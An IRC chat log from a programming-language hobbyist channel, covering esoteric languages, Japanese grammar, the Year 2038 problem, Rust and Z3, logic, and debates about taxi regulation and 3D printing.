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14:59:28 <Vorpal> Okay this is weird, so I have graphical corruption issues that shows up after a while, they go away when switching from X to a VT and back. However opening steam triggers it instantly and switching back and forth doesn't help then.
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15:04:31 <Zom-B> how do you make an intersection of the esolangs, like finding esolangs with three specific categories?
15:05:53 <fizzie> I've done that "manually".
15:07:03 <fizzie> Paste contents of the categories into text files, then cat | sort | uniq -c | grep '^[ \t]3' or some-such.
15:08:03 <fizzie> I don't know if MediaWiki's search system would let you do that natively.
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16:52:08 <fizzie> Huh. Writing [["Category:Brainfuck derivatives" "Category:Self-modifying"]] as the search term at Special:Search does return only pages that are in both categories, but it does not return all such pages.
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16:53:36 <tswett> This is the Japanese channel, right?
16:53:52 <olsner> fizzie: maybe it finds only the ones that have the categories listed in that order in the source?
16:54:13 <olsner> tswett: hai, hattori hanzo
16:54:41 <tswett> I'm trying to parse the Japanese phrase 放送されている, which Google Translate says is "hōsō sa rete iru". It seems to mean something like "(which) is broadcast".
16:55:18 <olsner> -sarete is one of the verb forms
16:55:39 <olsner> iirc makes it mean something like cause to X or let X
16:55:43 <Sgeo_> http://www.cert.org/blogs/certcc/post.cfm?EntryID=158
16:55:48 <tswett> Which verb form is it? Wiktionary doesn't seem to mention it.
16:56:14 <fizzie> olsner: Seems that it does not like pages where all the categories are listed with no separators, as in [[Category:Foo]][[Category:Bar]] -- all those it returns have spaces or newlines between them.
16:58:06 <tswett> olsner: is sarete a form of suru?
16:58:47 <olsner> tswett: https://answers.yahoo.com/question/index?qid=20120229223222AAPhbGs looks likely to be correct
16:59:45 <olsner> something from suru could be its etymology, but I've rather seen it described as a verb suffix than as a word of itself
17:00:38 <tswett> Ah, I get it. Hōsō isn't a "verb that you use by putting suru at the end" or something; it's just a noun, and the verb here is suru.
17:00:51 <tswett> ...perhaps you could say.
17:02:29 <tswett> The conjugator says the passive form of suru is sareru. Is there some transformation that makes that into sarete?
17:03:34 <tswett> Whalp, I'd better head out. See y'all.
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17:04:19 <olsner> @tell tswett yes, the -te form is used e.g. before a help verb like iru
17:18:09 <fizzie> https://dl.dropboxusercontent.com/u/113389132/Misc/20140330-diff.jpg artsy
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17:51:33 <^v> oerjan, i found my non-stupid deadfish
17:51:39 <^v> its called fishstacks \o/
17:51:57 <^v> i can easialy port moi program to it
17:52:21 <myname> ^v: did you actually understand the example hello world in agony?
17:52:41 <Jafet> Now I'm hungry for fishstacks
17:52:46 <^v> i even made an encoder for it
17:52:57 <myname> ^v: mind writing some kind of explanation?
17:53:44 <^v> well each character is mapped to a 4 bit value
17:53:50 <oerjan> ^v: um fishstacks faithfully applies deadfish's 256 rule hth
17:54:07 <^v> oerjan, but it has a reset/push zero instruction
17:54:30 <^v> the IP is two chars after the program when it start
17:55:07 <myname> and moves to the front, as far as i got it
17:55:26 <myname> oh, that code at the end is actually "Hello world" backwards?
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17:56:39 <myname> i thought it meant to be executed
17:56:43 <myname> that confused me a lot
17:56:52 <^v> <[.<]$$$,$[>>>,{$~@~[~}~]+.~[{$++~*+{+{~@<-
17:59:22 <myname> just wondering what an agony quine would look like
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18:18:27 <^v> sweet, a op in my favorite channel has forbid me from ever using esolangs
18:18:30 * ^v sharpens knife
18:18:47 <^v> cryptography time?
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18:59:48 <Sgeo_> I should try to port Urbanoids to HTML5
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19:25:46 <Sgeo_> http://en.wikipedia.org/w/index.php?title=Mophun&diff=452287513&oldid=444431767
19:25:55 <Sgeo_> Well, this piece of vandalism lasted for yeasrs andr yea
19:28:40 <int-e> it's a piece of art.
19:39:47 <Sgeo_> I made a template, that is transcluded in 84,687 places
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19:40:56 <Jafet> The entire page looks like vandalism
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19:54:42 <Sgeo_> JavaOnTheBrain made a reference to Mophun
20:02:33 <Bike> http://pvk.ca/Blog/2014/03/30/refactoring-with-lz77-compilation-is-compression/ what in heck
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20:07:58 <Sgeo_> (backstory of a game)
20:08:00 <Sgeo_> "They said they had solved the year 2000 problem.
20:09:04 <Sgeo_> http://www.javaonthebrain.com/java/noids/story.html
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20:35:25 <int-e> let's try again at the end of the unix epoch.
20:36:54 <int-e> Oh. Some NTP trouble is to be expected first.
20:37:40 <int-e> Wikipedia is so helpful. "[NTP] Implementations should disambiguate NTP time using a knowledge of the approximate time from other sources. Since NTP only works with the differences between timestamps and never their absolute values, the wraparound is invisible as long as the timestamps are within 68 years of each other."
20:41:35 <boily> `` echo $((4294967295 - $(date +%s)))
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21:03:13 <fizzie> Curious; HackEgo's online and answers to private messages just fine, it just hasn't joined the channel.
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21:07:24 <fizzie> Told it to; I just hope it wasn't intentionally taken away.
21:09:33 <fizzie> Also re "backstory of a game", http://www.sanfransys.com/homepages/level9/wdreams.htm
21:10:44 <fizzie> (And http://www.sanfransys.com/homepages/level9/wreckers.htm but that's slightly more related to the actual game.)
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21:33:34 <^v> hey, i made hello world in fishstacks :P iiisdsiiiiiiiipiiisisipiiisisiiiiiiiipiiisisiiiiiiiipiiisiisddddddddddpiiisddsdddddpiisiisddddpiiissiiiiiipiiisiisddddddddddpiiisiisdddddddpiiisisiiiiiiiipiiisispiisiisdddpppp
21:36:34 <kmc> http://atlasofprejudice.tumblr.com/post/80937352126/20-ways-to-slice-the-european-continent-from-atlas
21:39:00 <Bike> Tsvetkov, I have no hope of pronouncing that
21:39:10 <kmc> it doesn't seem that hard?
21:39:14 <kmc> but I'm probably doin it wrong
21:39:58 <kmc> i mean I even claim to be able to pronounce polish names sometimes but I'm probably deluding myself
21:40:12 <Bike> What's the circle in religious Europe?
21:40:22 <kmc> poland I think
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21:42:04 <kmc> poland is like 250% catholic
21:42:08 <int-e> Yes, Poland. they even had their own Pope ;)
21:44:47 <kmc> I think the church had a pretty big role in the fall of communism there
21:46:24 <kmc> it's funny how English got "Warsaw" from a name that's pronounced more like "varshava"
21:47:52 <int-e> "Warsaw" is quite close to the german "Warschau".
21:48:12 <kmc> int-e: if you visit the Wieliczka Salt Mine you can see a statue of said pope as a pillar of salt, 100 meters underground
21:48:16 <kmc> http://www.tripadvisor.com/LocationPhotoDirectLink-g277819-d284943-i92455767-Wieliczka_Salt_Mine-Wieliczka_Lesser_Poland_Province_Southern_Poland.html
21:48:47 <Phantom_Hoover> <kmc> it's funny how English got "Warsaw" from a name that's pronounced more like "varshava"
21:48:52 <Sgeo_> I guess he looked the wrong way?
21:48:59 <Phantom_Hoover> have you ever wondered how the fuck deutschland became germany
21:49:09 <kmc> yes and I looked it up at some point
21:49:15 <kmc> but forgot
21:49:36 <kmc> also Alemania
21:49:41 <int-e> Well, the people are often called the "Germanen" in german.
21:51:18 <int-e> Also https://de.wikipedia.org/wiki/Alemannen ... so it's not unreasonable that the name would stick.
21:51:35 <int-e> It's much more reasonably than calling the native americans "indians".
21:51:58 <Phantom_Hoover> well we all know that was just because columbus was a colossal idiot
21:52:13 <int-e> I wouldn't go that far
21:52:24 <int-e> He got quite a few things right, too.
21:52:34 <Phantom_Hoover> he only set out because he got the size of the earth wrong
21:52:46 <Phantom_Hoover> you know, that thing the ancient greeks measured accurately a millenium before
21:53:06 <kmc> https://www.youtube.com/watch?v=13RhSc-DaOI
21:53:42 * kmc was looking for the bit that starts at 2:13, but it's all pretty amusing
21:55:49 <kmc> how did the greeks measure it
21:56:05 <Bike> You've never heard the well story?
21:56:15 <kmc> i forget most things i've ever heard
21:56:33 <Bike> https://www.youtube.com/watch?v=G8cbIWMv0rI
21:56:41 <Bike> or just look up eratosthenes.
21:57:25 <Phantom_Hoover> you find a point directly beneath the sun (hence the well), then walk a good way north, prop up a stick, measure the angle it makes with the sun from its shadow, and multiply
21:57:55 <kmc> they didn't know the speed of light though ;P
21:57:59 <kmc> much cooler imo
21:58:20 <Phantom_Hoover> the speed of light was first determined by staring at the moons of jupiter right
21:58:48 <kmc> I like that the Haskell wiki section on the Sieve of Eratosthenes cites Nicomachus in the original Greek
21:58:52 <kmc> (or used to)
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21:59:58 <int-e> arg. I can't make out what he says after "assuming these truly are the Indies"
22:00:08 <Bike> reminds me of following taocp cites and finding mystic jewish text
22:00:19 <kmc> haha really
22:01:06 <Phantom_Hoover> int-e, something along the lines "which, by the way, i've been meaning to talk to you about"
22:03:42 <int-e> found one transcript that says "which is something else I'd quite like to talk to you about at some point".
22:04:46 <Bike> kmc: he gives http://en.wikipedia.org/wiki/Sefer_Yetzirah as having factorials
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22:06:30 <Bike> also a bunch of dharmic religion stuff since they had to come up with those huge numbers somehow
22:22:29 <Taneb> I want to do an "Introduction to Category Theory for Programmers" 30-minute talk
22:22:43 <Taneb> Which means I need to PLAN SUCH A TALK
22:22:53 <Phantom_Hoover> "here is a bunch of arrows, it is called a category, everything is a category, talk over"
22:23:02 <kmc> computer science is the study of boxes and arrows
22:23:50 <kmc> sometimes the boxes are circular
22:24:08 <kmc> they might have words and numbers inside them or not
22:26:20 <HackEgo> Thanks, HackEgo. ThackEgo.
22:26:33 <Taneb> `run echo < bin/thanks
22:26:40 <HackEgo> #!/usr/bin/perl \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Thanks, $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/Th/; } else { s/^./T/; } print "$_.";
22:49:03 <^v> does HackEgo have fishstacks?
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23:08:02 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: fun: not found
23:08:05 <HackEgo> fun fact 0 = 1 | fact n = n * fact (n - 1)
23:08:38 <myname> is that actually a language?
23:10:48 <Jafet> 0 = 1, the funnest fact
23:14:34 <Jafet> applybot, raw:ML "fun fact 0 = 1 | fact n = n * fact (n - 1); map fact [0,1,2,3,4,5]"
23:14:41 <applybot> val fact = fn: int -> int \ val it = [1, 1, 2, 6, 24, 120]: int list
23:15:03 <applybot> Meta-commands: colour context help info load* restart shutdown* state timeout* undo unicode unload* \ Isabelle commands: apply by declare defer definition done find_theorems fun function lemma oops prefer primrec quickcheck term termination thm try0 typ unfolding using value
23:15:22 <Taneb> Oh god how many bots are there in this channel now
23:16:11 <fizzie> fungot: Count the bots, please.
23:16:11 <fungot> fizzie: got a patch for volume 1. take horrible markup format rooted in history, then it is
23:16:43 <Jafet> That's right, fungot, the bots aren't very loud.
23:16:44 <fungot> Jafet: methinks that should be quite simple using the ideas of the semantics of the code
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00:00:17 * kmc puzzles through http://z3.codeplex.com/SourceControl/latest#src/api/z3_api.h
00:00:21 <kmc> this is quite the polyglot
00:05:21 <Jafet> This is quite the 7500-line header
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01:18:25 <Sgeo_> https://en.wikipedia.org/wiki/Plumpy'nut
01:18:36 <Sgeo_> What about malnourished kids who are allergic to peanuts?
01:19:02 <Sgeo_> Oh, just saw the article mention that
01:19:31 <Bike> maybe... there's more than one kind of food.....
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01:20:54 <Phantom_Hoover> Sgeo_, it is a bit weird to use something so prone to awful side-effects...
01:22:04 <Bike> https://en.wikipedia.org/wiki/File:Nut_warning_1.jpg BE AFRAID
01:23:13 <Sgeo_> I used to be scared to eat peanut products in public because was worried what if someone nearby had an allergy
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01:26:34 <kmc> what changed?
01:27:03 <Sgeo_> I think multiple people telling me not to worry about it
01:27:12 <Phantom_Hoover> he became hard-heartedly numb to the fate of his fellow man
01:28:44 <Sgeo_> I was sick the other day, and in CVS, and a guy with a nasal ... tube, thing goes into the aisle I was in. What if I accidentally caused him to get sick :(
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01:29:56 <Sgeo_> Like, a tube stretching from nose to elsewhere, I think for breathing
01:30:29 <Phantom_Hoover> well if there was a serious risk do you think he'd be wandering around in public
01:31:02 <Phantom_Hoover> "Sometimes more significant complications occur including erosion of the nose where the tube is anchored, esophageal perforation, pulmonary aspiration, a collapsed lung, or intracranial placement of the tube." -- wp's article on the food tube things
01:31:09 <pikhq> Usually you have those when you have trouble breathing.
01:31:31 <Phantom_Hoover> how do you even explain that last one, "yeah the tube that was meant to go in your stomach ended up in your brain"
01:31:48 <pikhq> Illness isn't any *more* of a concern than it would be for any other old man though.
01:32:26 <Sgeo_> My parents once threatened to get a food tube for me in order to get me to eat
01:34:51 <Phantom_Hoover> holy shit after trawling the wp article on peanut allergy i found this line in one of the references:
01:35:01 <Phantom_Hoover> "Usually, eating is both fun and helpful. Sometimes, it is deadly."
01:37:08 <shachaf> eating is usually deadly to the eatee
01:43:15 <Bike> do you often eat live food shachaf
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01:50:03 <kmc> hm, according to my calculations, both demorgan's law and its negation are true
01:50:07 <kmc> sounds like trouble
01:51:00 <shachaf> which calculations are these
01:51:33 <kmc> wrong ones
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02:28:04 <kmc> fungot: where has everyone gone
02:28:04 <fungot> kmc: you forgot to exit the program
02:28:12 <kmc> fungot: oh i guess so
02:28:13 <fungot> kmc: and i consider myself fairly intelligent, but i
02:30:07 <Bike> current status https://www.youtube.com/watch?v=jl5bhqqUkzo
02:34:22 <Sgeo_> http://www.csmonitor.com/USA/Military/2012/1031/No-prank-On-Halloween-US-military-forces-train-for-zombie-apocalypse
02:34:59 <Sgeo_> If people keep using 'zombie apocalypse' to mean unexpected, the training may eventually be ineffective, I think, as it becomes 'expected' for training
02:37:17 <Bike> http://www.bogleech.com/comics/comic90-zombiefans.htm
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02:40:47 <quintopia> Sgeo_: i don't think that's the point. the point is more that conditions in a zombocalypse are similar to conditions in civil war zones and other civilization collapses
02:42:00 <Sgeo_> http://www.reddit.com/r/haskell/comments/21s7bz/one_step_forward_two_steps_back_by_chris_done/
02:45:23 <kmc> one cool thing about rust is that the designers have actually heard of the stuff in that list
02:46:41 <Sgeo_> I can't visualize Rust getting restarts or image-based persistance
02:47:11 <kmc> I didn't say that Rust has all or even most of them
02:47:19 <kmc> but for the stuff that's missing it's not due to pure ignorance
02:47:24 <kmc> which is often the case in other languages
02:47:58 <kmc> the email about why rust doesn't do TCO started with a paragraph that could be more bluntly summarized as "god damnit yes we know what tail calls are and why you want them"
02:49:55 <Bike> Oh, why doesn't rustc do tco?
02:50:06 <Bike> (i mean i can see why you might not want to /guarantee/ tco)
02:50:18 <kmc> https://mail.mozilla.org/pipermail/rust-dev/2013-April/003557.html
02:58:09 <Sgeo_> Would only interacting with humans via IRC be as bad for mental health as never interacting with humans at all?
03:00:57 <kmc> in a short-term / acute sense, interactions on IRC often make me feel a lot better
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03:05:36 <zzo38> Maybe you could implement only tail calls when mentioned explicitly in the program using a "tail call" command?
03:07:02 <zzo38> (And even then, it shouldn't make it a tail call unless it can actually do that optimization.)
03:07:28 <Bike> http://extraneato.com/wp-content/uploads/2012/02/Death-Bear.png hell yea
03:07:30 <^v> i made hello world in fishstacks
03:07:37 <^v> but im too lazy to add it to the wiki
03:07:38 <^v> iiisdsiiiiiiiipiiisisipiiisisiiiiiiiipiiisisiiiiiiiipiiisiisddddddddddpiiisddsdddddpiisiisddddpiiissiiiiiipiiisiisddddddddddpiiisiisdddddddpiiisisiiiiiiiipiiisispiisiisdddpppp
03:11:21 <kmc> pppppppppppppiss
03:11:38 <kmc> Sgeo_: any reason you ask?
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04:05:55 <Sgeo_> Saw something that made me think of it, I forgot what
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04:47:10 <Bike> http://en.wikipedia.org/wiki/File:538_Arborol.png orgo's a hell of a drug
04:49:37 <Bike> http://en.wikipedia.org/wiki/File:Decaferrocenyl_ferrocene.png behold
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05:18:29 <HackEgo> wharnandcoin bruermerititcoin p12coin orthycoin barnatacoin prfcovoluckcoin lencercoin ><>coin subechalocoin thisalecoin andcoin relliacoin accingcoin yabatcoin instifcoin dolcoin sqicoin nancoin ontrandatiocoin tropotcoin
05:18:54 <coppro> why doesn't esotericoin exist yet?
05:20:17 <kmc> `run tr ' ' '\n' < quotes | shuf -n 50 | tr '\n' ' '
05:20:18 <HackEgo> it a drugs, other likes "can <fizzie> then the <Bike> who you page being but Kapital some with soup you've -- what in <fizzie> a the sugary <EgoBot> #%%:]__t�# just is by Warrigal: machine i’m all of 1146 good <kmc> "bottle". clearly over well, that's warm of kite if a
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06:03:12 <Sgeo_> Sometimes I feel like Haskell playing with laziness is like dynamically typed languages playing with dynamic types... interesting, but not very safe
06:09:21 <kmc> they didn't so much remove side effects from evaluation as introduce a completely pervasive side effect that doesn't play nice with others
06:11:26 <Sgeo_> Things like Tardises are ... cool, but ... is laziness the sort of side-effect that could be accessed monadically?
06:11:33 <Sgeo_> *exclusively monadically
06:11:40 <Sgeo_> Not sure if that even makes sense, I should be sleeping
06:12:14 <kmc> what's this about tardises
06:12:35 <Sgeo_> http://unknownparallel.wordpress.com/2013/05/07/two-implementations-of-seers/
06:12:47 <Sgeo_> All this stuff relies heavily on laziness
06:13:04 <Sgeo_> And 'time paradox' == nontermination
06:13:57 <Sgeo_> Hmm, not sure what happens if you try to make a paradox of the contradiction kind, instead of the closed loop kind
06:14:46 <Sgeo_> "For example, see >>= send may cause an explosion of information, trapping you in a time loop."
06:14:54 <Sgeo_> http://stackoverflow.com/a/11093315/286648
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07:01:34 <kmc> can confirm that the negation of demorgan's law is not true after all
07:02:23 <shachaf> can you confirm that demorgan's law is true
07:03:04 <kmc> conjecture = (iff (not (and k!0 k!1)) (or (not k!0) (not k!1)))
07:03:04 <kmc> Some(true)
07:04:16 <shachaf> oh, that one doesn't work constructively
07:04:30 <shachaf> not sure if i can believe it :'(
07:05:57 <kmc> constructively ¬a ∨ ¬b → ¬(a ∧ b) but not the other way?
07:07:13 <kmc> makes sense
07:09:54 <shachaf> what do they call the classical thing where (P -> Q) iff (!P || Q)
07:10:11 <shachaf> maybe they call it "definition of ->"
07:10:50 <kmc> @type \d -> \(x,y) -> case d of Left f -> f x; Right g -> g y
07:10:50 <lambdabot> Either (t1 -> t) (t2 -> t) -> (t1, t2) -> t
07:11:19 <kmc> @djinn Either (a -> Void) (b -> Void) -> (a, b) -> Void
07:11:41 <kmc> @djinn ((a, b) -> Void) -> Either (a -> Void) (b -> Void)
07:11:48 <kmc> takes me back
07:11:58 <kmc> shachaf: i think so
07:12:04 <shachaf> remember when you cared about things like that
07:12:12 <kmc> i still care :'(
07:12:27 <shachaf> cared enough to devote significant attention and time to it, i mean
07:13:07 <shachaf> i haven't done it much in a while either
07:13:09 <kmc> i devote attention and time to other things though, so it's all good
07:14:29 <shachaf> i feel like maybe i should go in the direction of more maths rather than less, though
07:14:49 <kmc> i'm writing Rust bindings for Z3
07:15:27 <shachaf> i went to a talk about smt solvers and haskell this month
07:15:42 <kmc> with some kind of macro for quasiquoting Z3 expressions probably
07:15:52 <kmc> how was the talk?
07:15:54 <kmc> not really
07:16:00 <kmc> there will be a 1.0 release this year
07:16:33 <shachaf> by stable i don't mean will my programs continue to run so much as will everything i know become useless/wrong/obsolete
07:16:45 <shachaf> like it did since last summerish when i looked at rust before
07:16:54 <kmc> less so now, I think
07:17:13 <kmc> the deepest & most novel concepts haven't changed in a while, but maybe you already understand those
07:17:40 <kmc> one of the big upcoming changes is that the type system will support dynamically sized types
07:17:55 <kmc> http://smallcultfollowing.com/babysteps/blog/2014/01/05/dst-take-5/
07:30:59 <kmc> Z3 is fancy
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10:49:28 <boily> today is the day oots returns!
10:49:32 <boily> and 0.14 is out too!
10:52:06 <int-e> boily: outgrabious!
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11:32:50 <fizzie> "Without access to a lot of source code I can’t tell exactly what is going on, but here’s what I know. If you run the compiler with the /analyze option then it loads mspft120.dll – the /analyze DLL. Then mspft120 loads msxml6.dll to load an XML configuration file. Then msxml6 loads urlmon.dll to open the stream, and finally urlmon loads mshtml.dll. Then mshtml.dll creates a window, ...
11:32:55 <fizzie> ... because that’s what it does."
11:32:58 <fizzie> http://randomascii.wordpress.com/2014/03/31/you-got-your-web-browser-in-my-compiler/
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12:36:49 <ion> http://imgur.com/gallery/ltMAjH1
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16:15:52 <fungot> Selected style: oots (Order Of The Stick)
16:15:57 <fizzie> fungot: Say something appropriate.
16:15:57 <fungot> fizzie: i see. but how were you so arrogant as to assume that is was going. a classic i like, and you, the gods, that makes us all one big evil team here, my snuggly green cutie-pie!
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16:16:30 <mroman> fungot: Who's arrogant?
16:16:30 <fungot> mroman: i am, i am, i am the leader and strategic plan in the morning" to you, and the success of my magic, you know that no one leaves. he is still your brother and, apparently, there, about that... the cleric skipped to the part about the oath" story is just that.
16:16:39 <mroman> well... there you have it.
16:16:43 <fungot> mroman: see, the thing that was making this even sporting was your big spectacular compromise that would allow any bandit that defeated
16:16:59 <mroman> no wonder I don't like him.
16:18:14 <mroman> fungot: Are you pronounced fungoat?
16:18:14 <fungot> mroman: a good way, and our little dog, too. cool" monsters may have moved in by answering the riddles" thing, sir, and i see now that it's any of that honey marinade right here, and the illusion that this was the place and have come to aid you in keeping your business.
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16:38:48 <Vorpal> Well... after rebooting I cannot reproduce the graphical issues I had yesterday. Good I guess?
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17:04:32 <kmc> 12:07 < kmc> did you try turning it off and then on again?
17:04:32 <kmc> 12:07 < Vorpal> kmc, very funny
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17:15:45 <mroman> I just discovered something crazy
17:16:06 <mroman> It's beautiful alright
17:17:28 <Vorpal> kmc, I booted windows in between too
17:17:44 <Vorpal> kmc, anyway I'm still worried about the hardware..
17:23:29 <kmc> i once had a monitor that needed to be rebooted to remove graphics corruption
17:24:03 <mroman> I'm gonna upload it as a video :)
17:24:33 <fizzie> Vorpal: Did you see the nonnegative matrix factorization one?
17:24:36 <Vorpal> kmc, it was the GPU though, since I have a multi-head setup and it happened across both monitors
17:24:46 <Vorpal> fizzie, I saw this: http://zem.fi/2014-03-25-tl
17:24:52 <Vorpal> fizzie, thanks to lambdabot
17:25:12 <Vorpal> don't see any matrix there
17:25:46 <fizzie> Vorpal: Right, I've been fiddling with different ways of aggregating the frames, but haven't yet written them up. Here's the NMF one: https://dl.dropboxusercontent.com/u/113389132/Misc/20140331-nmf.jpg
17:26:00 <Vorpal> fizzie, pretty, how does it work?
17:26:13 <Vorpal> Looks like time of day / weather
17:27:14 <fizzie> That's kind of how it ends up, though technically it's the four basis vectors of a rank-4 nonnegative factorization of the 33 source images. Or in English, the set of four images that's best (according to some cost function) if you want to represent all 33 images as a weighted sum of some 4 images.
17:28:06 <fizzie> You can see e.g. that the lower-left image has the sun in it, so the lower-right one has gotten a "negasun" that can help when representing an overcast day.
17:28:20 <fizzie> And the top-left image is useful for putting snow on the ground.
17:28:31 <Vorpal> fizzie, the "second view, raw average..." looks kind of other-worldly wrt the plants
17:28:39 <fizzie> Of course that's just late interpretation, the algorithm doesn't care.
17:29:04 <Vorpal> fizzie, with some colour curve enhancing to bring up the saturation it could be really pretty
17:29:45 <Vorpal> fizzie, what is a negasun?
17:30:03 <Vorpal> fizzie, also what about the top-right?
17:30:10 <Vorpal> in your interpretation
17:30:31 <fizzie> Well, a dark blob where the sun was in the other image. See, when you sum up the bottom row, they annihilate. (And release energy?)
17:30:56 <fizzie> I guess the top-right is just a useful component image for blue skies.
17:32:02 <Vorpal> fizzie, how did the dark-spot thing happen?
17:32:28 <Vorpal> No, doesn't make sense
17:32:54 <fizzie> It just falls out of the algorithm, when I feed it both sunny days and overcast days; none of the NMF images are really "real".
17:33:46 <fizzie> I did do some histogram equalization on the plain averages to make them less bland, and they looked quite nice; I just didn't upload those yet because it was done in Gimp after clamping to 8 bits per pixel color depth, and there was quite a lot of banding; I'll try to do it "properly" at some point. (I guess non-devel Gimp still hasn't heard of higher color depths?)
17:33:51 <Vorpal> fizzie, looked at the rest of your site, that x86 opcode generator is quite amusing
17:34:25 <fizzie> After a #esoteric suggestion, I made an IUPAC chemical name generator too: http://zem.fi/tmp/iupac.html
17:34:32 <Vorpal> fizzie, according to the generator, a future instruction will be "AI"
17:35:45 <fizzie> The IUPAC generator has an unavoidable (due to the method) habit of generating silly-short names like "5-5" or "6" quite often, but it also does plausible ones.
17:36:00 <fizzie> Well, plausible to a non-chemist, anyway.
17:36:09 <fizzie> I'm sure they mostly make no physical sense at all.
17:36:47 <mroman> https://www.youtube.com/watch?v=kfn1Waxo5wc&feature=youtu.be
17:38:46 <mroman> Some sort of cellular thingy
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18:03:17 <fizzie> <meta name="generator" content="MediaWiki 1.22.5" />, yay.
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18:35:53 <mroman> "The city of Seattle just imposed new limits on commercial app-based ride-sharing companies like Uber and Lyft, effectively protecting taxi companies from low-cost competition in the form of smartphone apps."
18:35:59 <mroman> That's certainly interesting.
18:36:41 <mroman> That's actually the first case of banning technology to protect old technology because it would lots of jobs in danger I know
18:37:51 <kmc> really? I feel like that kind of thing is common
18:38:06 <kmc> unions often fight against improved efficiency for this reason
18:38:30 <kmc> also it's not clearly about jobs -- those drivers could work for Uber or Lyft instead
18:38:56 <lexande> new technologies are often used as an opportunity by all sides to try to renegotiate regulations etc
18:38:59 <kmc> I don't know about Seattle but in NYC, taxi medallions are an investment vehicle, worth millions of dollars and usually not owned by the driver or the cab company
18:39:05 <mroman> If they are offered a salary comparable to their current one.
18:39:25 <kmc> so often taxi regulation is about protecting the value of this investment for the people who already hold it
18:39:30 <kmc> \rainbow{PROPERTY RIGHTS}
18:39:32 <lexande> mroman: cab drivers aren't salaried anywhere i've heard of
18:39:58 <mroman> I don't know much about taxis in the US though
18:40:10 <mroman> It's very uncommon in switzerland to use a taxi :)
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18:40:35 <mroman> too expensive and there's public transport
18:40:43 <lexande> well i imagine in switzerland a taxi ride costs about as much as acquiring whatsapp
18:40:55 <lexande> and public transit costs about as much as taxis most places
18:42:23 <mroman> that'd cost me about 38 CHF to get to town :)
18:42:33 <mroman> compared to 12 CHF I'd have to pay for the bus
18:42:36 <lexande> mroman: i would say, for example, that most tariffs and other restrictions on foreign trade are a form of banning/restricting technology in order to protect certain jobs
18:43:04 <mroman> lexande: but it's not directly a ban against technology
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18:43:17 <mroman> it's more of a ban against massive cheap productions
18:43:19 <lexande> well i suspect the seattle thing is not a direct ban either
18:43:43 <lexande> but rather a set of restrictions designed to make it uneconomical
18:44:06 <lexande> (the technology in the trade case being the ever-cheaper ways of shipping things)
18:44:13 <kmc> an app that lets you call cabs from your phone isn't much of a "technology" either
18:44:17 <kmc> it's more of a business model
18:44:47 <mroman> it's usually about how you use technology :)
18:44:51 <kmc> I mean labeling every company that has a website or a phone app as a "technology company" is pretty silly
18:44:54 <kmc> because that's every company now
18:45:00 <kmc> it is common usage, though
18:45:04 <mroman> the internet wasn't really of anyone's privacy concern until facebook showed up :D
18:45:39 <mroman> kmc: 3d printers is the next big thing
18:45:50 <mroman> Depending on how they develop you can produce your own stuff at home
18:46:09 <lexande> mroman: another example i'm familiar with, lightweight trains are illegal in the US for "safety" reasons
18:46:17 <mroman> that'd probably will have a large impact on stuff
18:46:26 <mroman> what's a lightweight train?
18:46:27 <lexande> even though they are used in europe in asia and are empirically safer than trains in the US
18:47:02 <lexande> so trains for use in the US have to be built specifically for the US market, generally at factories in the US
18:47:14 <lexande> rather than just importing whatever from europe or japan
18:47:56 <lexande> there are several reasons for this but protecting US jobs is one of them
18:49:16 <kmc> trains that don't weigh as much as other trains :3
18:49:38 <lexande> conversely i think that a desire to protect european agriculture and associated jobs is a significant (though not the only) reason for european hostility to GMO crops
18:50:28 <mroman> there's a cultural reason too
18:50:38 <lexande> yes there are other reasons too, in all of these cases
18:50:41 <mroman> people are afraid of genetically modified stuff
18:51:08 <mroman> and the christians obviously. They don't like it either
18:51:24 <lexande> "christians" are generally more politically powerful in the US
18:51:25 <fizzie> The Finnish Taxi Owners Federation wrote a press release that they don't see any need for a thing like Uber in Finland, because they already have a couple smartphone apps for ordering a taxi.
18:51:44 <Zom-B> in holland we have this thing called #D Hubs which effectively connects people with 3d printers at home with people that need prints (making competition with companies such as shapeways)
18:51:53 <lexande> fizzie: so if the existing cartel doesn't see a need, we should ban it?
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18:52:13 <lexande> not sure what's so great about 3D printers
18:52:22 <lexande> i can't remember the last time i bought something that could be 3D printed
18:52:45 <lexande> i guess when the palmrest of my laptop broke two years ago?
18:52:53 <mroman> christians here are also powerful
18:52:58 <mroman> just not as crazy as in the us ;)
18:53:01 <fizzie> lexande: Well, at least according to their interpretation (which does sound reasonable) it was already banned here before it even existed, in that it's not compatible with the regulations; I guess they're just saying there's no need to go changing those rules.
18:53:04 <Zom-B> i heard people saay that they dont see the need in programming anything becacuse everything is available already (those were windows people, mind you)'
18:53:14 <Zom-B> 3d printing is the same as programming
18:53:25 <lexande> fizzie: how much do taxis cost in finland?
18:53:36 <lexande> uberx in SF is under $1 per km
18:53:44 <mroman> Zom-B: Are you playing soldat?
18:54:08 <Phantom_Hoover> holy shit new enemy starfighter trailer https://www.youtube.com/watch?v=W_U2MdCdaR4
18:54:19 <mroman> If you have to google it that's probably a "no" ;)
18:54:21 <fizzie> lexande: Quite a lot. It's about 40 euros to take a taxi from home to the airport (the only thing we use them for, really), and I think that's something like 15-20 km.
18:54:30 <lexande> Zom-B: i'm not saying that 3D printing is not needed because it provides things i can already get other ways, i'm saying that i don't see how it provides anything i would want ever
18:54:55 <mroman> It just so happened that someone with your nick was on a public server some minutes ago :D
18:55:17 <fizzie> Apparently 1.52 €/km (for 1-2 persons) in addition to the base costs and airport fees and whatnot.
18:55:28 <Zom-B> you make custom things, as opposed to hacking things together with scrap and household tools
18:55:42 <Zom-B> see it like programming instead of chaining and piping linux commands
18:55:46 <lexande> fizzie: hmm that's pretty good
18:55:56 <fizzie> I guess that's about twice the price.
18:55:57 <lexande> Zom-B: but i never hack things together with scrap and household tools
18:56:05 <lexande> what things would i ever make that way?
18:56:39 <Zom-B> maybe not the best example site because they use lots of electronics
18:58:04 <lexande> homebrew electronics projects are sometimes cool, though a lot of them will still basically be useless trinkets
18:58:47 <lexande> but the vast majority of 3D printed things seem to be useless trinkets
18:59:29 <Zom-B> they do, if you go to one of those model sites
18:59:33 <Zom-B> i never look at that crap
18:59:50 <lexande> tell me something i could conceivably 3D print that i actually want
19:00:21 <kmc> lexande: are you arguing against the general utility of 3D printers or just your personal need for one?
19:00:25 <Zom-B> i dont know what you want, so i can name 10 things and you can argue about every one that there is an alternative
19:00:41 <mroman> or... maybe some gunz?
